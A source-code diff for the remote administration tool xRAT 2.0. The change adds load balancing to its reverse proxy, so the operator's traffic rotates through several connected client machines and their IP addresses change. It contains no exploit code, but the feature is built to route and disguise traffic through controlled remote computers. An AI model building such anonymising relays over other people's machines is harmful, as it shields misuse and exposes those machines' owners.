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Merge pull request #141 from AnguisCaptor/master 

Reverse Proxy Updates & Load Balancer
This commit is contained in:
MaxXor 2015-05-16 21:22:09 +02:00
parent 5dd617e1ce 42d7382fff
commit 4fcdf3b4d4
8 changed files with 145 additions and 43 deletions
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21
Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs
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@ -1,4 +1,5 @@
using ProtoBuf;
using System;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets
@ -18,16 +19,34 @@ namespace xClient.Core.ReverseProxy.Packets
[ProtoMember(4)]
public int LocalPort { get; set; }
[ProtoMember(5)]
public string HostName { get; set; }
public ReverseProxyConnectResponse()
{
}
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort)
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer)
{
this.ConnectionId = connectionId;
this.IsConnected = isConnected;
this.LocalEndPoint = localEndPoint;
this.LocalPort = localPort;
this.HostName = "";
if (isConnected)
{
try
{
//resolve the HostName of the Server
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer);
if (entry != null && !String.IsNullOrEmpty(entry.HostName))
{
HostName = entry.HostName;
}
}
catch { HostName = ""; }
}
}
public void Execute(Client client)

6
Client/Core/ReverseProxy/ReverseProxyClient.cs
View File

@ -46,16 +46,16 @@ namespace xClient.Core.ReverseProxy
}
catch
{
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
Disconnect();
}
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port, this.Target).Execute(Client);
}
else
{
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
}
}

3
Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs
View File

@ -18,6 +18,9 @@ namespace xServer.Core.ReverseProxy.Packets
[ProtoMember(4)]
public int LocalPort { get; set; }
[ProtoMember(5)]
public string HostName { get; set; }
public ReverseProxyConnectResponse()
{
}

4
Server/Core/ReverseProxy/ReverseProxyClient.cs
View File

@ -79,7 +79,7 @@ namespace xServer.Core.ReverseProxy
public ProxyType Type { get; private set; }
private ReverseProxyServer Server;
public ListViewItem ListItem { get; set; }
public string HostName { get; private set; }
public bool ProxySuccessful { get; private set; }
@ -349,6 +349,8 @@ namespace xServer.Core.ReverseProxy
if (response.IsConnected)
{
this.HostName = response.HostName;
//tell the Proxy Client that we've established a connection
if (Type == ProxyType.HTTPS)
{

19
Server/Core/ReverseProxy/ReverseProxyServer.cs
View File

@ -17,7 +17,7 @@ namespace xServer.Core.ReverseProxy
private Socket _socket;
private List<ReverseProxyClient> _clients;
public ReverseProxyClient[] Clients
public ReverseProxyClient[] ProxyClients
{
get
{
@ -49,19 +49,25 @@ namespace xServer.Core.ReverseProxy
}
public Client Client { get; private set; }
public Client[] Clients { get; private set; }
//We can also use the Random class but not sure if that will evenly spread the connections
//The Random class might even fail to make use of all the clients
private uint ClientIndex;
public ReverseProxyServer()
{
_clients = new List<ReverseProxyClient>();
}
public void StartServer(Client client, string ipAddress, int port)
public void StartServer(Client[] clients, string ipAddress, int port)
{
Stop();
this.Client = client;
this.Client.Value.ProxyServer = this;
this.Clients = clients;
for(int i = 0; i < clients.Length; i++)
this.Clients[i].Value.ProxyServer = this;
this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port));
@ -75,7 +81,8 @@ namespace xServer.Core.ReverseProxy
{
lock (_clients)
{
_clients.Add(new ReverseProxyClient(Client, this._socket.EndAccept(ar), this));
_clients.Add(new ReverseProxyClient(Clients[ClientIndex % Clients.Length], this._socket.EndAccept(ar), this));
ClientIndex++;
}
}
catch

15
Server/Forms/FrmMain.cs
View File

@ -727,9 +727,22 @@ namespace xServer.Forms
c.Value.FrmProxy.Focus();
return;
}
FrmReverseProxy frmRS = new FrmReverseProxy(c);
FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients());
frmRS.Show();
}
}
private Client[] GetSelectedClients()
{
List<Client> clients = new List<Client>();
for (int i = 0; i < lstClients.SelectedItems.Count; i++)
{
if (lstClients.SelectedItems[i].Tag as Client != null)
clients.Add(lstClients.SelectedItems[i].Tag as Client);
}
return clients.ToArray();
}
}
}

80
Server/Forms/FrmReverseProxy.Designer.cs generated
View File

@ -37,16 +37,20 @@ namespace xServer.Forms
this.nudServerPort = new System.Windows.Forms.NumericUpDown();
this.tabCtrl = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.btnStop = new System.Windows.Forms.Button();
this.lblProxyInfo = new System.Windows.Forms.Label();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.btnStop = new System.Windows.Forms.Button();
this.lblProxyInfo = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.LvConnections = new xServer.Controls.ListViewEx();
this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lblLoadBalance = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit();
this.tabCtrl.SuspendLayout();
this.tabPage1.SuspendLayout();
@ -88,6 +92,7 @@ namespace xServer.Forms
this.nudServerPort.Name = "nudServerPort";
this.nudServerPort.Size = new System.Drawing.Size(120, 22);
this.nudServerPort.TabIndex = 2;
this.nudServerPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.nudServerPort.Value = new decimal(new int[] {
3128,
0,
@ -101,10 +106,10 @@ namespace xServer.Forms
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.tabCtrl.Controls.Add(this.tabPage1);
this.tabCtrl.Location = new System.Drawing.Point(26, 82);
this.tabCtrl.Location = new System.Drawing.Point(26, 115);
this.tabCtrl.Name = "tabCtrl";
this.tabCtrl.SelectedIndex = 0;
this.tabCtrl.Size = new System.Drawing.Size(533, 261);
this.tabCtrl.Size = new System.Drawing.Size(736, 274);
this.tabCtrl.TabIndex = 3;
//
// tabPage1
@ -113,11 +118,25 @@ namespace xServer.Forms
this.tabPage1.Location = new System.Drawing.Point(4, 22);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
this.tabPage1.Size = new System.Drawing.Size(525, 235);
this.tabPage1.Size = new System.Drawing.Size(728, 248);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Open Connections";
this.tabPage1.UseVisualStyleBackColor = true;
//
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killConnectionToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26);
//
// killConnectionToolStripMenuItem
//
this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem";
this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.killConnectionToolStripMenuItem.Text = "Kill Connection";
this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click);
//
// btnStop
//
this.btnStop.Enabled = false;
@ -138,23 +157,20 @@ namespace xServer.Forms
this.lblProxyInfo.TabIndex = 5;
this.lblProxyInfo.Text = "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:3128 (no user/pass)";
//
// contextMenuStrip1
// label1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killConnectionToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26);
//
// killConnectionToolStripMenuItem
//
this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem";
this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.killConnectionToolStripMenuItem.Text = "Kill Connection";
this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click);
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(23, 67);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(404, 13);
this.label1.TabIndex = 6;
this.label1.Text = "All the DNS Queries will be executed at the remote client to reduce DNS Leaks";
//
// LvConnections
//
this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader6,
this.columnHeader7,
this.columnHeader1,
this.columnHeader2,
this.columnHeader3,
@ -166,13 +182,23 @@ namespace xServer.Forms
this.LvConnections.GridLines = true;
this.LvConnections.Location = new System.Drawing.Point(3, 3);
this.LvConnections.Name = "LvConnections";
this.LvConnections.Size = new System.Drawing.Size(519, 229);
this.LvConnections.Size = new System.Drawing.Size(722, 242);
this.LvConnections.TabIndex = 0;
this.LvConnections.UseCompatibleStateImageBehavior = false;
this.LvConnections.View = System.Windows.Forms.View.Details;
this.LvConnections.VirtualMode = true;
this.LvConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem);
//
// columnHeader6
//
this.columnHeader6.Text = "Client IP";
this.columnHeader6.Width = 106;
//
// columnHeader7
//
this.columnHeader7.Text = "Client Country";
this.columnHeader7.Width = 106;
//
// columnHeader1
//
this.columnHeader1.Text = "Target Server";
@ -198,11 +224,22 @@ namespace xServer.Forms
this.columnHeader5.Text = "Proxy Type";
this.columnHeader5.Width = 90;
//
// lblLoadBalance
//
this.lblLoadBalance.AutoSize = true;
this.lblLoadBalance.Location = new System.Drawing.Point(23, 84);
this.lblLoadBalance.Name = "lblLoadBalance";
this.lblLoadBalance.Size = new System.Drawing.Size(105, 13);
this.lblLoadBalance.TabIndex = 7;
this.lblLoadBalance.Text = "[Load Balance Info]";
//
// FrmReverseProxy
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(574, 356);
this.ClientSize = new System.Drawing.Size(777, 402);
this.Controls.Add(this.lblLoadBalance);
this.Controls.Add(this.label1);
this.Controls.Add(this.lblProxyInfo);
this.Controls.Add(this.btnStop);
this.Controls.Add(this.tabCtrl);
@ -210,7 +247,6 @@ namespace xServer.Forms
this.Controls.Add(this.lblLocalServerPort);
this.Controls.Add(this.btnStart);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.Name = "FrmReverseProxy";
@ -243,5 +279,9 @@ namespace xServer.Forms
private System.Windows.Forms.Label lblProxyInfo;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem;
private System.Windows.Forms.ColumnHeader columnHeader6;
private System.Windows.Forms.ColumnHeader columnHeader7;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label lblLoadBalance;
}
}

40
Server/Forms/FrmReverseProxy.cs
View File

@ -1,4 +1,5 @@
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.ReverseProxy;
@ -7,22 +8,36 @@ namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
private readonly Client _connectClient;
private readonly Client[] clients;
private ReverseProxyServer SocksServer { get; set; }
private delegate void Invoky();
private ReverseProxyClient[] OpenConnections;
private Timer RefreshTimer;
public FrmReverseProxy(Client client)
public FrmReverseProxy(Client[] clients)
{
InitializeComponent();
_connectClient = client;
_connectClient.Value.FrmProxy = this;
this.clients = clients;
for(int i = 0; i < clients.Length; i++)
clients[i].Value.FrmProxy = this;
}
private void FrmReverseProxy_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
if (clients.Length > 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]");
lblLoadBalance.Text = "The Load Balancer is active, " + clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works";
}
else if (clients.Length == 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", clients[0].EndPoint.Address.ToString(), clients[0].EndPoint.Port.ToString());
lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer";
}
}
private void btnStart_Click(object sender, EventArgs e)
@ -32,7 +47,7 @@ namespace xServer.Forms
SocksServer = new ReverseProxyServer();
SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value);
SocksServer.StartServer(clients, "0.0.0.0", (int)nudServerPort.Value);
btnStart.Enabled = false;
btnStop.Enabled = true;
@ -107,10 +122,11 @@ namespace xServer.Forms
//Stop the proxy server if still active
btnStop_Click(sender, null);
if (_connectClient.Value != null)
_connectClient.Value.FrmProxy = null;
for (int i = 0; i < clients.Length; i++)
{
if (clients[i].Value != null)
clients[i].Value.FrmProxy = null;
}
}
private void nudServerPort_ValueChanged(object sender, EventArgs e)
@ -128,7 +144,9 @@ namespace xServer.Forms
e.Item = new ListViewItem(new string[]
{
Connection.TargetServer,
Connection.Client.EndPoint.ToString(),
Connection.Client.Value.Country,
Connection.TargetServer + (Connection.HostName.Length > 0 ? " (" + Connection.HostName + ")" : ""),
Connection.TargetPort.ToString(),
GetSizeStr(Connection.LengthReceived),
GetSizeStr(Connection.LengthSended),